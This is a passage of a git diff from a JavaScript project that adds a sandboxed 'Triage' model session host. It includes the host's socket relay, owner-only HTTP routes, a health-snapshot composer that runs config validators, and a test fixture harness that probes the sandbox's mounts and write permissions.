JSON.parse(buf.slice(0, nl)); } catch { return refuse(conn); } + if (!req || typeof req !== "object" || !sameCap(req.cap, cap) || typeof req.verb !== "string") return refuse(conn); + const args = req.args && typeof req.args === "object" && !Array.isArray(req.args) ? req.args : {}; + const verb = req.verb; + try { + if (Object.hasOwn(LIFECYCLE, verb)) return answer(conn, { ok: true, result: LIFECYCLE[verb]() }); + if (verb === "message.receive") return answer(conn, { ok: true, result: take() }); + if (verb === "message.read") { read(args.id); return answer(conn, { ok: true, result: {} }); } + if (verb === "message.send" && args.to === "human" && typeof args.body === "string" && args.body.length <= 32768) { + // Only an id the host issued is kept. The model writes this field, and the transcript serves it. + onSend({ body: args.body, in_reply_to: typeof args.in_reply_to === "string" && OWNER_ID.test(args.in_reply_to) ? args.in_reply_to : null }); + return answer(conn, { ok: true, result: { id: `triage-${randomBytes(6).toString("hex")}` } }); + } + } catch (e) { + log(`triage relay: ${verb} failed: ${e.code ?? "error"}`); + } + log(`triage relay: refused ${/^[a-z][a-z0-9._-]{0,63}$/.test(verb) ? verb : "a verb"}`); + return refuse(conn); + }); + }); + return new Promise((resolve, reject) => { + server.once("error", reject); + server.listen(socket, () => { + server.off("error", reject); + chmodSync(socket, 0o600); + resolve(server); + }); + }); +} + +// createTriageHost({ dataRoot, route, readSnapshot, env, node, bwrap, now, devOwner, log }) +// route { admit() -> { ok: true, adapter, harness, harnessEnv, harnessMounts, turnEnd, model, +// provider, env } | { ok: false, code, until? } } or null for no route +// readSnapshot async () -> the snapshot (triage-snapshot.mjs composeSnapshot), written to health/ +// pollInterval the runner's receive interval in ms, for tests; the runner's default otherwise +export function createTriageHost({ dataRoot, route = null, readSnapshot = async () => null, env = process.env, node = process.execPath, bwrap = BWRAP, now = () => new Date(), devOwner = false, log = () => {}, roleDir = join(REPO, "roles"), readOnly = [], pollInterval = null }) { + if (typeof dataRoot !== "string" || !dataRoot.startsWith("/")) throw new TriageError("triage-no-data-root", "no data root"); + const paths = triagePaths(dataRoot); + const role = JSON.parse(readFileSync(join(roleDir, "triage.json"), "utf8")); + const contract = readFileSync(join(roleDir, role.contract), "utf8"); + let last = null; // the last snapshot written + let lastAt = null; // when it was written, in ms + let child = null; + let relay = null; + let starting = null; + let lastExit = null; + let cap = null; + let overCapUntil = null; // the route's over-cap answer, held until its time passes + const queue = []; + + const ensureDirs = () => { + mkdirSync(dataRoot, { recursive: true, mode: 0o700 }); + for (const d of [paths.root, paths.health, paths.agent, paths.host]) realDir(d); + }; + + const append = (entry) => { + ensureDirs(); + const fd = openSync(paths.transcript, "a", 0o600); + try { appendFileSync(fd, JSON.stringify(entry) + "\n"); } finally { closeSync(fd); } + chmodSync(paths.transcript, 0o600); + }; + + const transcript = () => { + let text = ""; + try { + const st = lstatSync(paths.transcript); + if (!st.isFile()) return []; + text = readFileSync(paths.transcript, "utf8"); + } catch { return []; } + const out = []; + for (const line of text.split("\n")) { + if (!line) continue; + try { out.push(JSON.parse(line)); } catch {} + } + return out.slice(-TRANSCRIPT_KEEP); + }; + + const orgIds = () => new Set(Array.isArray(last?.organizations?.list) ? last.organizations.list.map((o) => o.id) : []); + + // One refresh at a time: a read and a message that arrive together share it. + let refreshing = null; + const refresh = () => refreshing ??= (async () => { + ensureDirs(); + let snap = null; + try { snap = await readSnapshot(); } catch { snap = null; } + if (snap && typeof snap === "object") { + writeSnapshot(paths.health, snap); + last = snap; + lastAt = now().getTime(); + } + return last; + })().finally(() => { refreshing = null; }); + + const writeBundle = (admitted) => { + const a = paths.agent; + for (const d of ["bundle", "tmp", "work", "home"]) freshDir(join(a, d)); + mkdirSync(join(a, "work", "health"), { mode: 0o700 }); + // turns/ goes too: the runner numbers turns from 1 and opens each turn file exclusively, so a + // turns/ left by the last run stops the next one at its first turn. + for (const f of ["session.json", "relay.sock", "tools.sock", "turn.done", "turns"]) rmSync(join(a, f), { recursive: true, force: true }); + // The session's history stays across starts, unless the session put something other than a + // real directory there. + try { realDir(join(a, "session")); } catch { freshDir(join(a, "session")); } + const resolved = { limits: { authority: role.authority, tools: role.tools }, definition: "triage", pluginTools: [] }; + const tools = typedTools({ resolved }).filter((t) => t.name === "send_message"); + const workspace = join(a, "work"); + const policy = { harness: admitted.harness, workspace, tools: builtinTools(role.tools), typed: tools.map((t) => t.name), network: role.network, needs: [], credentials: [] }; + const bundle = { prompt: join(a, "bundle", "prompt.md"), policy: join(a, "bundle", "policy.json"), tools: join(a, "bundle", "tools.json") }; + const steps = ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]; + writeFileSync(bundle.prompt, hostPrompt(contract, { snapshotPath: join(workspace, "health", SNAPSHOT_FILE), steps }), { mode: 0o600, flag: "wx" }); + writeFileSync(bundle.policy, JSON.stringify(policy, null, 2) + "\n", { mode: 0o600, flag: "wx" }); + writeFileSync(bundle.tools, JSON.stringify(tools, null, 2) + "\n", { mode: 0o600, flag: "wx" }); + const session = { + bundle, adapter: admitted.adapter, harness: admitted.harness, harnessEnv: admitted.harnessEnv, turnEnd: admitted.turnEnd, + workspace, sessionDir: join(a, "session"), toolSocket: join(a, "tools.sock"), turnMarker: join(a, "turn.done"), + brokerSocket: join(a, "relay.sock"), business: "system", instance: "triage", run: `triage-${now().toISOString().replace(/[^0-9]/g, "").slice(0, 14)}`, + model: admitted.model, provider: admitted.provider ?? "", + ...(Number.isInteger(pollInterval) && pollInterval >= 100 ? { pollInterval } : {}), + }; + writeFileSync(join(a, "session.json"), JSON.stringify(session, null, 2) + "\n", { mode: 0o600, flag: "wx" }); + }; + + const checkAdmitted = (a) => { + if (!a || typeof a !== "object" || typeof a.adapter !== "string" || !a.adapter.startsWith("/") + || !["marker", "exit"].includes(a.turnEnd) || typeof a.model !== "string" || !a.model + || typeof a.harness !== "string" || !/^[a-z][a-z0-9-]{0,31}$/.test(a.harness) + || !a.harnessEnv || typeof a.harnessEnv !== "object" || Array.isArray(a.harnessEnv) + || Object.entries(a.harnessEnv).some(([k, v]) => typeof v !== "string" || deniedHarnessName(k)) + || !Array.isArray(a.harnessMounts ?? [])) throw new TriageError("triage-route-invalid", "the model route's answer is not usable"); + }; + + const start = async (admitted) => { + checkAdmitted(admitted); + ensureDirs(); + writeBundle(admitted); + cap = randomBytes(32).toString("hex"); + relay = await createRelay({ + socket: join(paths.agent, "relay.sock"), cap, + take: () => { + const out = queue.filter((m) => !m.delivered); + for (const m of out) m.delivered = true; + return out.map(({ id, body, at }) => ({ id, from_role: "human", class: "REQUEST", body, at })); + }, + read: (id) => { + const i = queue.findIndex((m) => m.id === id); + if (i >= 0) queue.splice(i, 1); + }, + // A reply that names a queued message answers it: the message leaves the queue here, so a + // session that ends before its message.read leaves no "unanswered" line under an answer. + onSend: ({ body, in_reply_to }) => { + const { text, cards, dropped } = extractCards(body, orgIds(), { devOwner: devOwner === true }); + append({ at: now().toISOString(), from: "triage", text, cards, dropped, ...(in_reply_to ? { in_reply_to } : {}) }); + const i = in_reply_to ? queue.findIndex((m) => m.id === in_reply_to) : -1; + if (i >= 0) queue.splice(i, 1); + }, + log, + }); + const list = hostedBinds({ runDir: paths.agent, healthDir: paths.health, adapter: admitted.adapter, harnessMounts: admitted.harnessMounts ?? [], relaySocket: join(paths.agent, "relay.sock"), node, readOnly }); + const argv = hostedArgv(list, paths.agent, [node, RUNNER, paths.agent], { bwrap }); + const out = openSync(paths.log, "a", 0o600); + try { + child = spawn(argv[0], argv.slice(1), { env: triageEnv(env, admitted.env, { node }), detached: true, stdio: ["pipe", out, out] }); + } finally { + closeSync(out); + } + const mine = child; + const closeRelay = () => { + relay?.close(); + relay = null; + rmSync(join(paths.agent, "relay.sock"), { force: true }); + }; + mine.on("error", () => {}); + mine.stdin.on("error", () => {}); + mine.stdin.end(JSON.stringify({ cap }) + "\n"); + mine.on("exit", (code, signal) => { + if (child !== mine) return; + lastExit = { code: Number.isInteger(code) ? code : null, signal: signal ?? null, at: now().toISOString() }; + child = null; + // Every message still queued leaves it, so none holds a slot with no session to answer it, and + // the transcript says which: one the session took and never answered, or one it never read. + for (const m of queue.splice(0)) { + try { append({ at: now().toISOString(), from: "host", in_reply_to: m.id, text: m.delivered ? UNANSWERED : NOT_TAKEN }); } catch { log("triage host: transcript write failed"); } + } + closeRelay(); + }); + // A launcher that cannot run (missing, not executable) fires "error" and never "exit": the start + // failed, so the caller writes NOT_STARTED and the host is not left reporting a session. + try { + await new Promise((resolve, reject) => { mine.once("spawn", resolve); mine.once("error", reject); }); + } catch (e) { + if (child === mine) child = null; + closeRelay(); + log(`triage host: launcher did not run: ${e.code ?? "error"}`); + throw new TriageError("triage-start-failed", "the Triage session did not start"); + } + }; + + // The cap is the route's to count. Once it answers over the cap with a time in the next two days, + // the host refuses without asking again until that time, so a later answer cannot reopen the day. + const capUntil = () => { + if (overCapUntil !== null && Date.parse(overCapUntil) <= now().getTime()) overCapUntil = null; + return overCapUntil; + }; + const admit = async () => { + if (!route || typeof route.admit !== "function") return { ok: false, code: "triage-no-route" }; + const held = capUntil(); + if (held !== null) return { ok: false, code: "triage-over-cap", until: held }; + let a; + try { a = await route.admit(); } catch { return { ok: false, code: "triage-route-unreadable" }; } + if (a?.ok === true) return a; + const code = ["triage-no-route", "triage-over-cap"].includes(a?.code) ? a.code : "triage-route-refused"; + if (code !== "triage-over-cap") return { ok: false, code }; + const until = typeof a.until === "string" && ISO_TIME.test(a.until) ? Date.parse(a.until) : NaN; + const ahead = until - now().getTime(); + if (!(ahead > 0 && ahead <= CAP_HOLD_MAX_MS)) return { ok: false, code }; + overCapUntil = new Date(until).toISOString(); + return { ok: false, code, until: overCapUntil }; + }; + + return { + paths, + get running() { return child !== null; }, + get pid() { return child?.pid ?? null; }, + routeSet: () => Boolean(route && typeof route.admit === "function"), + async state() { + return { + route: this.routeSet() ? "set" : "not set", + overCapUntil: capUntil(), + running: child !== null, + lastExit, + snapshot: last, + transcript: transcript(), + }; + }, + refresh, + snapshotAt: () => lastAt, + // The owner's message: checked, admitted by the route, written to the transcript, queued, and + // the session started when it isn't running. + async message(raw) { + const text = plainText(typeof raw === "string" ? raw : "", MESSAGE_MAX + 1).trim(); + if (!text) throw new TriageError("triage-message-empty", "the message is empty"); + if (text.length > MESSAGE_MAX) throw new TriageError("triage-message-too-long", `a message holds at most ${MESSAGE_MAX} characters`); + if (queue.length >= QUEUE_MAX) throw new TriageError("triage-busy", "Triage has too many messages waiting"); + const admitted = await admit(); + if (!admitted.ok) throw Object.assign(new TriageError(admitted.code, admitted.code === "triage-over-cap" ? "Triage is over its daily cap" : admitted.code === "triage-no-route" ? "no model route is set for Triage" : "the model route refused"), admitted.until ? { until: admitted.until } : {}); + await refresh(); + const at = now().toISOString(); + const id = `owner-${randomBytes(6).toString("hex")}`; + append({ at, from: "owner", id, text }); + queue.push({ id, body: text, at, delivered: false }); + if (!child) { + starting ??= start(admitted).finally(() => { starting = null; }); + try { await starting; } + catch (e) { + const i = queue.findIndex((m) => m.id === id); + if (i >= 0) queue.splice(i, 1); + try { append({ at: now().toISOString(), from: "host", in_reply_to: id, text: NOT_STARTED }); } catch {} + relay?.close(); + relay = null; + log(`triage host: start failed: ${e.code ?? "error"}`); + throw e instanceof TriageError ? e : new TriageError("triage-start-failed", "the Triage session did not start"); + } + } + return { id, at }; + }, + async stop({ graceMs = 5000 } = {}) { + const c = child; + if (c) { + try { process.kill(-c.pid, "SIGTERM"); } catch {} + await new Promise((resolve) => { + const t = setTimeout(() => { try { process.kill(-c.pid, "SIGKILL"); } catch {} resolve(); }, graceMs); + c.once("exit", () => { clearTimeout(t); resolve(); }); + }); + } + relay?.close(); + relay = null; + }, + }; +} diff --git a/packages/webui/src/triage-http.mjs b/packages/webui/src/triage-http.mjs new file mode 100644 index 000000000..b43c72076 --- /dev/null +++ b/packages/webui/src/triage-http.mjs @@ -0,0 +1,105 @@ +// #1873 triage-host: the two owner routes of the Triage session. serve.mjs sends a request here only +// for the instance owner's own session (rootOwner, signed in on the public name, no organization +// selected); everyone else falls through to the answer an unknown route gives. The read carries the +// transcript, the last health snapshot and the cards; the write carries one owner message and also +// needs --send and the same-origin checks the org admin routes use. No body, path, token or +// exception text reaches a response or a log line. + +export const TRIAGE_PATHS = Object.freeze(["/api/triage", "/api/triage/message"]); +export const BODY_MAX = 16384; +// A read refreshes the snapshot when the one it holds is older than this. +export const SNAPSHOT_MAX_AGE_MS = 30000; +export const capMessage = until => `Triage is over its daily token cap. It takes messages again at ${until}.`; +export const NO_ROUTE_MESSAGE = "No model route is set for Triage, so Triage will not start. The instance owner sets the route first."; + +const STATUS = Object.freeze({ + "invalid-request": 400, + "triage-message-empty": 400, + "triage-message-too-long": 400, + "triage-no-route": 409, + "triage-route-refused": 409, + "triage-route-invalid": 409, + "triage-over-cap": 429, + "triage-busy": 429, +}); +// Fixed words for each code; the host's own messages are fixed too, but the route never forwards text. +const MESSAGES = Object.freeze({ + "invalid-request": "the request is not a Triage message", + "triage-message-empty": "the message is empty", + "triage-message-too-long": "the message is too long", + "triage-no-route": NO_ROUTE_MESSAGE, + "triage-route-refused": "the model route refused to start Triage", + "triage-route-invalid": "the model route's answer is not usable", + "triage-route-unreadable": "the model route could not be read", + "triage-over-cap": "Triage is over its daily token cap and starts again after the time shown", + "triage-busy": "Triage has too many messages waiting", + "triage-dir-unsafe": "a Triage directory is not safe to use", + "triage-start-failed": "the Triage session did not start", + "outcome-unknown": "Triage did not answer", +}); + +const json = (res, status, value) => { + res.writeHead(status, { "content-type": "application/json", "cache-control": "no-store" }); + res.end(JSON.stringify(value)); +}; +const one = (req, name) => (req.headersDistinct[name]?.length === 1 ? req.headersDistinct[name][0] : null); + +async function readBody(req) { + if ((req.headers["content-type"] ?? "").split(";")[0].trim().toLowerCase() !== "application/json") throw Error(); + const chunks = []; + let size = 0; + for await (const chunk of req) { + size += chunk.length; + if (size > BODY_MAX) throw Error(); + chunks.push(chunk); + } + const value = JSON.parse(Buffer.concat(chunks)); + if (!value || typeof value !== "object" || Array.isArray(value)) throw Error(); + if (Object.keys(value).some((k) => k !== "text") || typeof value.text !== "string") throw Error(); + return value.text; +} + +// The read's answer. `send` tells the drawer whether it may offer the message box. +export async function triageView(triage, { send, now = Date.now } = {}) { + const held = triage.snapshotAt?.() ?? null; + if (held === null || now() - held > SNAPSHOT_MAX_AGE_MS) await triage.refresh(); + const s = await triage.state(); + return { + route: s.route, + ...(s.route === "set" ? {} : { routeMessage: NO_ROUTE_MESSAGE }), + overCapUntil: s.overCapUntil ?? null, + ...(s.overCapUntil ? { capMessage: capMessage(s.overCapUntil) } : {}), + running: s.running, + lastExit: s.lastExit, + snapshot: s.snapshot, + transcript: s.transcript, + send: send === true, + }; +} + +export async function triageHTTP(req, res, { path, triage, send, origin, log = () => {} }) { + const done = (status, value) => { + // Method, path and status only. + log(`${new Date().toISOString()} ${req.method} ${path} ${status}`); + return json(res, status, value); + }; + // `code` is always a key of MESSAGES. + const refuse = (code, extra = {}) => done(STATUS[code] ?? 503, { error: code, message: MESSAGES[code], ...extra }); + if (path === "/api/triage") { + if (req.method !== "GET") return done(405, { error: "method not allowed" }); + try { return done(200, await triageView(triage, { send })); } + catch { return refuse("outcome-unknown"); } + } + if (req.method !== "POST") return done(405, { error: "method not allowed" }); + if (!send) return done(403, { error: "read-only" }); + if (one(req, "origin") !== origin) return done(403, { error: "cross-origin request refused" }); + if (one(req, "sec-fetch-site") !== "same-origin") return done(403, { error: "cross-site request refused" }); + let text; + try { text = await readBody(req); } catch { return refuse("invalid-request"); } + try { + return done(202, await triage.message(text)); + } catch (error) { + const code = typeof error?.code === "string" && Object.hasOwn(MESSAGES, error.code) ? error.code : "outcome-unknown"; + return refuse(code, code === "triage-over-cap" && typeof error.until === "string" ? { until: error.until } : {}); + } +} diff --git a/packages/webui/src/triage-snapshot.mjs b/packages/webui/src/triage-snapshot.mjs new file mode 100644 index 000000000..40e77195e --- /dev/null +++ b/packages/webui/src/triage-snapshot.mjs @@ -0,0 +1,243 @@ +// #1873 triage-host: the health snapshot the Console writes for the Triage session (design +// section 2). It is composed from reads that already exist, keeps only the fields on the fixed list +// below, and is written as one JSON file in /triage/health/, which the session mounts +// read-only. States, times, counts and codes only: no token, key, host path, pid or upstream text. +// A read that fails, times out or answers outside its fixed shape says "not read", never a guess. +// Run records and logs are a later slice. +// +// The fixed field list (SNAPSHOT_FIELDS names the top level): +// snapshotVersion 1 +// at when the Console composed it (ISO time) +// console { state: "answering", at } the Console wrote this, so it answered at `at` +// proxy { initialized, installed, active, healthy, fence } or "not read" +// systemConfig { valid, exit, code } or "not read" +// organizations { count, list: [ { id, bus, processing, config } ] } or "not read" +// bus { state: running | not-answering | stopped | dead, lastStart: { ok, at } | null } or "not read" +// processing { halted, invalid } or "not read" +// config { valid, exit, code } or "not read" +// +// The system config check runs scripts/mosaic-config.mjs validate in a child. Its stdout is the +// resolved config, so it is never read (stdio "ignore"), and loadSystem is not used. Its stderr +// names the config path and data-root facts, so only its first line's leading word is matched +// against SYSTEM_CONFIG_CODES; the text itself never leaves this module. + +import { randomBytes } from "node:crypto"; +import { spawn } from "node:child_process"; +import { chmodSync, renameSync, rmSync, writeFileSync } from "node:fs"; +import { join, resolve, dirname } from "node:path"; +import { fileURLToPath } from "node:url"; +import { ID_PATTERN } from "../../organization/src/vocabulary.mjs"; + +const REPO = resolve(dirname(fileURLToPath(import.meta.url)), "..", "..", ".."); +export const CONFIG_SCRIPT = join(REPO, "scripts", "mosaic-config.mjs"); +export const ORG_CONFIG_SCRIPT = join(REPO, "packages", "organization", "src", "cli.mjs"); +export const NOT_READ = "not read"; +export const SNAPSHOT_VERSION = 1; +export const SNAPSHOT_FILE = "snapshot.json"; +export const SNAPSHOT_FIELDS = Object.freeze(["snapshotVersion", "at", "console", "proxy", "systemConfig", "organizations"]); +export const BUS_STATES = Object.freeze(["running", "not-answering", "stopped", "dead"]); +const UNIT_ACTIVE = Object.freeze(["active", "inactive", "failed", "activating", "deactivating", "reloading", "unknown"]); +export const READ_TIMEOUT_MS = 5000; +export const MAX_ORGS = 200; +// At most this many organizations are read at once; each read can start a node child for its config check. +export const ORG_READS_AT_ONCE = 4; + +// What a failed system config check may say. Each refusal code the validator prints as its first +// word passes as itself; a known sentence maps to a fixed code; anything else is the exit's general +// code. Nothing else of stderr is kept. +const PRINTED_CODES = Object.freeze([ + "instance-config-mismatch", "instance-name-invalid", "instance-root-unclaimed", "instance-root-mismatch", + "proxy-rotate-grace-invalid", "proxy-first-output-invalid", "proxy-config-invalid", +]); +const SENTENCES = Object.freeze([ + ["configuration not found", "config-not-found"], + ["configuration is not valid JSON", "config-not-json"], + ["configuration path must be a regular", "config-not-regular-file"], + ["configuration file is not readable", "config-unreadable"], + ["configuration must be a JSON object", "config-not-object"], + ["unsupported configVersion", "config-version-unsupported"], + ["unsupported environment", "config-environment-unsupported"], + ['execution "dataRoot"', "config-data-root-invalid"], + ["unsupported execution.", "config-execution-unsupported"], + ["unsupported ", "config-key-unsupported"], +]); +const EXIT_CODES = Object.freeze({ 1: "config-check-failed", 2: "config-invalid", 3: "config-missing-or-unclaimed", 4: "config-check-usage" }); +export const SYSTEM_CONFIG_CODES = Object.freeze([...new Set([...PRINTED_CODES, ...SENTENCES.map(([, c]) => c), ...Object.values(EXIT_CODES), "config-check-failed"])]); + +// The org config check (`mosaic org config validate ID`) is read by its exit code alone. +const ORG_EXIT_CODES = Object.freeze({ 2: "org-config-invalid", 3: "org-config-system-unreadable", 4: "org-config-check-usage" }); +export const ORG_CONFIG_CODES = Object.freeze([...Object.values(ORG_EXIT_CODES), "org-config-check-failed"]); + +// stderr's first line, already without its "mosaic-config: " prefix, to one fixed code. +export function systemConfigCode(exit, firstLine) { + if (exit === 0) return null; + const line = typeof firstLine === "string" ? firstLine.replace(/^mosaic-config: /, "") : ""; + const word = line.match(/^([a-z][a-z0-9-]{2,63})(?::|$)/)?.[1]; + if (word && PRINTED_CODES.includes(word)) return word; + for (const [start, code] of SENTENCES) if (line.startsWith(start)) return code; + return EXIT_CODES[exit] ?? "config-check-failed"; +} + +// A child run for its exit code. stdout is never opened. stderr is read only when `stderr` is +// true, at most 4 KiB, and only its first line is returned to the caller in this module. +export function runExitOnly(argv, { env, timeoutMs = READ_TIMEOUT_MS, stderr = false } = {}) { + return new Promise((done) => { + let child; + try { + child = spawn(argv[0], argv.slice(1), { env, stdio: ["ignore", "ignore", stderr ? "pipe" : "ignore"] }); + } catch { + return done(null); + } + let err = ""; + let settled = false; + const finish = (value) => { + if (settled) return; + settled = true; + clearTimeout(timer); + done(value); + }; + const timer = setTimeout(() => { + try { child.kill("SIGKILL"); } catch {} + finish(null); + }, timeoutMs); + child.stderr?.on("data", (b) => { + if (err.length < 4096) err += b.toString("utf8").slice(0, 4096 - err.length); + }); + child.on("error", () => finish(null)); + child.on("close", (code, signal) => finish(signal || !Number.isInteger(code) ? null : { exit: code, firstLine: err.split("\n")[0] })); + }); +} + +// { valid, exit, code } from the validator, or "not read" when it did not run to an exit. +export async function readSystemConfig({ env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) { + const r = await run([node, CONFIG_SCRIPT, "validate"], { env, timeoutMs, stderr: true }); + if (!r || !Number.isInteger(r.exit)) return NOT_READ; + const code = systemConfigCode(r.exit, r.firstLine); + return { valid: r.exit === 0, exit: r.exit, code }; +} + +export async function readOrgConfig(id, { env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) { + if (typeof id !== "string" || !ID_PATTERN.test(id)) return NOT_READ; + const r = await run([node, ORG_CONFIG_SCRIPT, "validate", id], { env, timeoutMs, stderr: false }); + if (!r || !Number.isInteger(r.exit)) return NOT_READ; + return { valid: r.exit === 0, exit: r.exit, code: r.exit === 0 ? null : ORG_EXIT_CODES[r.exit] ?? "org-config-check-failed" }; +} + +const ISO = /^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(\.\d{1,9})?Z$/; +const isoOrNull = (v) => (typeof v === "string" && ISO.test(v) ? v : null); +const bool = (v) => (typeof v === "boolean" ? v : null); + +// Each read under its own deadline; a throw, a timeout or a null is "not read". +async function bounded(fn, timeoutMs) { + let timer; + try { + const value = await Promise.race([ + Promise.resolve().then(fn), + new Promise((resolve) => { timer = setTimeout(() => resolve(NOT_READ), timeoutMs); }), + ]); + return value ?? NOT_READ; + } catch { + return NOT_READ; + } finally { + clearTimeout(timer); + } +} + +// The fixed shapes. Anything outside them is "not read". +export function proxyFields(status) { + if (!status || typeof status !== "object") return NOT_READ; + const unit = status.unit && typeof status.unit === "object" ? status.unit : {}; + const out = { + initialized: bool(status.init?.initialized), + installed: bool(unit.installed), + active: UNIT_ACTIVE.includes(unit.active) ? unit.active : "unknown", + healthy: bool(unit.healthy), + fence: bool(status.fence?.set), + }; + return out.initialized === null && out.installed === null && out.healthy === null ? NOT_READ : out; +} + +// busStatus (packages/cli/src/org-bus.mjs) answers healthy and pid; a refusal from its state check +// (a host it cannot account for, a CliError) is a dead host, as the Console's bus revive reads it. +export function busFields(status, refusedDead = false) { + if (refusedDead) return { state: "dead", lastStart: null }; + if (!status || typeof status !== "object" || typeof status.healthy !== "boolean") return NOT_READ; + const state = status.healthy ? "running" : Number.isSafeInteger(status.pid) ? "not-answering" : "stopped"; + const boot = status.boot && typeof status.boot === "object" && typeof status.boot.ok === "boolean" && isoOrNull(status.boot.at) + ? { ok: status.boot.ok, at: status.boot.at } : null; + return { state, lastStart: boot }; +} + +export function processingFields(p) { + if (!p || typeof p !== "object" || typeof p.halted !== "boolean") return NOT_READ; + return { halted: p.halted, invalid: p.invalid === true }; +} + +function configFields(c, codes) { + if (!c || typeof c !== "object" || typeof c.valid !== "boolean" || !Number.isInteger(c.exit)) return NOT_READ; + return { valid: c.valid, exit: c.exit, code: c.code === null || codes.includes(c.code) ? c.code : null }; +} + +// readers: { orgs() -> [{ id, state }], busStatus(id) -> status (a CliError, or a throw with +// `dead: true`, is a dead host), processing(id), orgConfig(id), proxy(), systemConfig() }. Each may be missing. +// fn over items, at most `limit` running at once; the results keep the items' order. +async function mapLimit(items, limit, fn) { + const out = new Array(items.length); + let next = 0; + const worker = async () => { while (next < items.length) { const i = next++; out[i] = await fn(items[i]); } }; + await Promise.all(Array.from({ length: Math.min(limit, items.length) }, worker)); + return out; +} + +// The organization stage runs under one deadline, `timeoutMs` from its start, however many +// organizations there are: an organization whose reads have not finished by then is "not read", and +// one not yet begun is not read at all. A whole snapshot takes at most about two timeouts. +export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS, clock = Date.now } = {}) { + const at = now().toISOString(); + const read = (name, ...args) => (typeof readers[name] === "function" ? bounded(() => readers[name](...args), timeoutMs) : Promise.resolve(NOT_READ)); + const [proxyRaw, systemRaw, orgsRaw] = await Promise.all([read("proxy"), read("systemConfig"), read("orgs")]); + let organizations = NOT_READ; + if (Array.isArray(orgsRaw)) { + const active = orgsRaw.filter((o) => o && typeof o === "object" && o.state === "active" && typeof o.id === "string" && ID_PATTERN.test(o.id)).slice(0, MAX_ORGS); + const deadline = clock() + timeoutMs; + const list = await mapLimit(active, ORG_READS_AT_ONCE, async ({ id }) => { + const left = deadline - clock(); + if (left <= 0) return { id, bus: NOT_READ, processing: NOT_READ, config: NOT_READ }; + const readOrg = (name) => (typeof readers[name] === "function" ? bounded(() => readers[name](id), left) : NOT_READ); + const [bus, processing, config] = await Promise.all([ + typeof readers.busStatus === "function" + ? bounded(async () => { + try { return busFields(await readers.busStatus(id)); } + catch (e) { return e?.name === "CliError" || e?.dead === true ? busFields(null, true) : NOT_READ; } + }, left) + : NOT_READ, + readOrg("processing"), + readOrg("orgConfig"), + ]); + return { id, bus: bus === NOT_READ ? NOT_READ : bus, processing: processingFields(processing), config: configFields(config, ORG_CONFIG_CODES) }; + }); + organizations = { count: list.length, list }; + } + return { + snapshotVersion: SNAPSHOT_VERSION, + at, + console: { state: "answering", at }, + proxy: proxyFields(proxyRaw), + systemConfig: configFields(systemRaw, SYSTEM_CONFIG_CODES), + organizations, + }; +} + +// One file, replaced whole: written beside itself at 0600, then renamed over the last one. +export function writeSnapshot(healthDir, snapshot) { + const file = join(healthDir, SNAPSHOT_FILE); + const temp = join(healthDir, `.${SNAPSHOT_FILE}.${process.pid}.${randomBytes(6).toString("hex")}.tmp`); + try { + writeFileSync(temp, JSON.stringify(snapshot, null, 2) + "\n", { mode: 0o600 }); + chmodSync(temp, 0o600); + renameSync(temp, file); + } finally { + rmSync(temp, { force: true }); + } + return file; +} diff --git a/packages/webui/tests/fixtures/triage-adapter.mjs b/packages/webui/tests/fixtures/triage-adapter.mjs new file mode 100644 index 000000000..e5bf1e13c --- /dev/null +++ b/packages/webui/tests/fixtures/triage-adapter.mjs @@ -0,0 +1,66 @@ +// A stand-in harness turn for the Triage host tests (#1873). It imports nothing from the repository, +// so it runs with only the binds the host gives it. The message body picks the behaviour: +// PROBE answer JSON: the environment's variable names (never values), which of the paths in +// $TRIAGE_PROBE (a JSON array) are visible, the snapshot's version, and whether the +// health directory and the bundle refuse a write +// CARDS answer a reply with a cards fence: one valid card, one unknown step +// TOOL call send_message to through the tool socket and answer the raw reply +// SLEEP hang until killed +// REPLY-SLEEP send the person an answer to this message through the tool socket, then hang until killed +// anything else answer "echo: " +import { existsSync, readFileSync, writeFileSync } from "node:fs"; +import { connect } from "node:net"; +import { join } from "node:path"; + +const request = process.env.MOSAIC_REQUEST ?? ""; +const body = request.match(/^Message [^\n]*:\n\n([\s\S]*)$/m)?.[1] ?? ""; +const workspace = process.env.MOSAIC_WORKSPACE; + +const tryWrite = (path) => { + try { + writeFileSync(path, "x"); + return "written"; + } catch (e) { + return e.code ?? "refused"; + } +}; + +function toolCall(tool, args) { + return new Promise((resolve) => { + const socket = connect(process.env.MOSAIC_TOOL_SOCKET); + let input = ""; + socket.on("connect", () => socket.write(JSON.stringify({ tool, args }) + "\n")); + socket.on("data", (b) => { + input += b; + if (input.includes("\n")) { socket.destroy(); resolve(input.trim()); } + }); + socket.on("error", (e) => resolve(`socket ${e.code}`)); + }); +} + +if (body === "PROBE") { + let paths = []; + try { paths = JSON.parse(process.env.TRIAGE_PROBE ?? "[]"); } catch {} + let snapshot = null; + try { snapshot = JSON.parse(readFileSync(join(workspace, "health", "snapshot.json"), "utf8")).snapshotVersion; } catch {} + process.stdout.write(JSON.stringify({ + env: Object.keys(process.env).sort(), + seen: Object.fromEntries(paths.map((p) => [p, existsSync(p)])), + snapshot, + writeHealth: tryWrite(join(workspace, "health", "planted.json")), + writeBundle: tryWrite(join(process.env.MOSAIC_POLICY_FILE, "..", "planted.json")), + writeWork: tryWrite(join(workspace, "note.txt")), + })); +} else if (body === "CARDS") { + process.stdout.write('The alpha bus is stopped.\n```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-wipe", "org": "alpha"}]\n```\n'); +} else if (body.startsWith("TOOL ")) { + process.stdout.write(await toolCall("send_message", { to: body.slice(5), body: "from the tool", class: "INFO" })); +} else if (body === "REPLY-SLEEP") { + const id = request.match(/^Message (\S+) from /m)?.[1]; + await toolCall("send_message", { to: "human", body: "answered early", class: "INFO", in_reply_to: id }); + setInterval(() => {}, 1000); +} else if (body === "SLEEP") { + setInterval(() => {}, 1000); +} else { + process.stdout.write(`echo: ${body}`); +} diff --git a/packages/webui/tests/triage-cards.test.mjs b/packages/webui/tests/triage-cards.test.mjs new file mode 100644 index 000000000..20ac99786 --- /dev/null +++ b/packages/webui/tests/triage-cards.test.mjs @@ -0,0 +1,81 @@ +// #1873 triage-host: command cards. The server keeps { step, org } with a known step and a +// registered org, renders the command itself, and drops everything else. +import { test } from 